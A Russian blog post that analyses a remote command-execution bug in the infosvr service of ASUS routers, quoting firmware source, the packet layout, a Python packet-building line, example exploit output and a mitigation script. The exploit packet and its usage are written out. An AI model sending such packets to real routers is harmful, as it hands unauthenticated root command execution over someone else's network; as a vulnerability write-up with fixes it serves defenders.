Categories: Router

Взлом роутеров ASUS с помощью эксплоита для сервиса infosrv.

В различных моделях роутеров от ASUS уже не впервые находят уязвимости. На этот раз ошибка была найдена в сервисе с именем infosvr, который слушает широковещательный UDP-порт 9999 на локальном или WLAN-интерфейсе.


Для лучшего понимания обратимся к открытой реализации прошивки под такие устройства от пользователя RMerl (bit.ly/1xVKSFO), представляющей собой более расширенную версию кода от ASUS:

177 char *processPacket(int sockfd, char *pdubuf)
178 {
...
202 phdr = (IBOX_COMM_PKT_HDR *)pdubuf;
...
207 if (phdr->ServiceID==NET_SERVICE_ID_IBOX_
INFO &&
208 phdr->PacketType==NET_PACKET_TYPE_
CMD)
209 {
...

Функция processPacket вызывается после получения пакета INFO_PDU_LENGTH, состоящего из 512 байт. Уязви-
мый код находится по следующему пути: main->processReq ->processPacket. Далее сервис раскладывает пакет на струк-
туру и проверяет, содержат ли поля ServiceID и PacketType ожидаемые значения.

Следующий блок кода включает код, из-за которого данная уязвимость возможна:

222 if (phdr->OpCode!=NET_CMD_ID_GETINFO && phdr->OpCode!=
NET_CMD_ID_GETINFO_MANU)
223 {
224 phdr_ex = (IBOX_COMM_PKT_HDR_EX *)pdubuf;
225
226 // Проверка MAC-адреса
227 if (memcpy(phdr_ex->MacAddress, mac, 6)==0)
228 {
229 _dprintf("Mac Error %2x%2x%2x%2x%2x%2xn",
230 (unsigned char)phdr_ex->MacAddress[0],
231 (unsigned char)phdr_ex->MacAddress[1],
232 (unsigned char)phdr_ex->MacAddress[2],
233 (unsigned char)phdr_ex->MacAddress[3],
234 (unsigned char)phdr_ex->MacAddress[4],
235 (unsigned char)phdr_ex->MacAddress[5]
236 );
237 return NULL;
238 }
239
240 // Проверка пароля
241 //if (strcmp(phdr_ex->Password, "admin")!=0)
242 //{
243 // phdr_res->OpCode = phdr->OpCode | NET_RES_
ERR_PASSWORD;
244 // _dprintf("Password Error %sn",
phdr_ex->Password);
245 // return NULL;
246 //}
247 phdr_res->Info = phdr_ex->Info;
248 memcpy(phdr_res->MacAddress,
phdr_ex->MacAddress, 6);
249 }

Он начинается с исключения пары значений переменной OpCode, которые предположительно не требуют аутентификации. Затем вызывается функция memcpy() с подозрительной проверкой на возврат значения 0. Очень похоже на то, что автор собирался использовать ее вместо memcmp. Хотя, честно говоря, использование MAC-адреса устройства как метод аутентификации совсем не достаточно.

[ad name=»Responbl»]

Следующий блок закомментирован, но мы видим, что автор хотел добавить проверку паролем, правда с довольно простым паролем по умолчанию — admin. Следуем дальше. Проверяем полученные OpCode:

251 switch(phdr->OpCode)
252 {
...
428 case NET_CMD_ID_MANU_CMD:
429 {
430 #define MAXSYSCMD 256
431 char cmdstr[MAXSYSCMD];
432 PKT_SYSCMD *syscmd;
...
440 syscmd = (PKT_SYSCMD *)(pdubuf+sizeof(IBOX_COMM_PKT_HDR_EX));
...
443 if (syscmd->len>=MAXSYSCMD)syscmd->len=MAXSYSCMD;
444 syscmd->cmd[syscmd->len]=0;
445 syscmd->len=strlen(syscmd->cmd);
446 fprintf(stderr,"system cmd:%d %sn", syscmd->len,syscmd->cmd);
447 #if 0
...
512 #endif
513 {
514 sprintf(cmdstr, "%s > /tmp/syscmd.out", syscmd->cmd);
515 system(cmdstr);

Если атакующий сможет указать значение NET_CMD_ID_MANU_CMD, то предыдущий блок обработает пакет и преобразует в структуру PKT_SYSCMD, где все части syscmd будут под полным контролем атакующего. Вследствие чего мы можем выполнить произвольный код, результат которого запишется во временный файл, прочитается и отправится обратно по адресу инициализирующего пакета.

EXPLOIT

На GitHub выложен один Python-скрипт (bit.ly/1ycYZFH) под данную уязвимость, но, судя по структуре, автор будет пополнять этот репозиторий.
Отправляем пакет со следующим содержимым:

ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
PacketType [byte] ; NET_PACKET_TYPE_CMD
OpCode [word] ; NET_CMD_ID_MANU_CMD
Info [dword] ; Комментарий: "Or Transaction ID"
MacAddress [byte[6]] ; Двойная неправильная проверка
; с помощью memcpy вместо memcmp
Password [byte[32]] ; Не проверяется
Length [word] ; Длина
Command [byte[420]] ; 420 байт в структуре, 256 – 19
; не используемых = 237 доступных

В результате получаем следующий запрос:

packet = (b'x0Cx15x33x00' + os.urandom(4) + (b'x00' * 38) + struct.pack('<H', len(enccmd)) + enccmd).ljust(512, b'x00')

Обрабатываем пакет…

ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
PacketType [byte] ; NET_PACKET_TYPE_RES
OpCode [word] ; NET_CMD_ID_MANU_CMD
Info [dword] ; Аналогично с отправленным
MacAddress [byte[6]] ; Заполнено нами
Length [word] ; Длина
Result [byte[420]] ; Actually returns that amount

…с помощью такого кода:

while True:
data, addr = sock.recvfrom(512)
if len(data) == 512 and data[1] == 22:
break
length = struct.unpack('<H', data[14:16])[0]
s = slice(16, 16+length)
sys.stdout.buffer.write(data[s])

Помимо Python-версии, существует оригинальный эксплойт
на С, который находится в том же репозитории. Пример его работы:

$ ./asus-cmd "nvram show | grep -E'(firmver|buildno|extendno)'"
[*] sent command: nvram show | grep -E'(firmver|buildno|extendno)'
[!] received 512 bytes from 10.0.0.2:37625
0c 15 0033 54ab7bc4 41:41:41:41:41:41
0031 nvram show | grep -E
'(firmver|buildno|extendno)'
[!] received 512 bytes from 10.0.0.1:9999
0c 16 0033 54ab7bc4 xx:xx:xx:xx:xx:xx
004e buildno=376
extendno_org=2524-g0013f52
extendno=2524-g0013f52
firmver=3.0.0.4

TARGETS

Протестировано на устройствах:
• RT-N66U 3.0.0.4.376_1071-g8696125;
• RT-AC87U 3.0.0.4.378_3754;
• RT-N56U 3.0.0.4.374_5656.

SOLUTION

Есть исправление от производителя. Также можно воспользоваться следующим патчем. По умолчанию стоковая прошивка от ASUS не позволяет запускать произвольные скрипты при загрузке устройства, но при этом позволяет запускать скрипты в любое время при монтировании USB. Логинимся на устройстве через Telnet или SSH:

nvram set script_usbmount="/jffs/scriptname"
nvram commit

И создаем файл со следующим содержимым:

#!/bin/sh
iptables -I INPUT -p udp --dport 9999 -j DROP

Другой путь — просто завершить уязвимый процесс.

#!/bin/sh
for pid in `ps -w | grep infosvr | grep -v grep |awk '{print $1}'`
do
echo "killing $pid"
kill $pid
done

Сохраняем файл с именем, указанным в переменной script_usbmount, и исполняем файл (или просто перезагружаем роутер). Ну и не забываем, что триггером служит монтирование USB-устройства, поэтому, если такого нет, советуем приобрести.

Click to rate this post!
[Total: 7 Average: 3.4]
cryptoworld

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

View Comments

Share
Published by
cryptoworld

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

11 месяцев ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

11 месяцев ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

12 месяцев ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

12 месяцев ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

12 месяцев ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

12 месяцев ago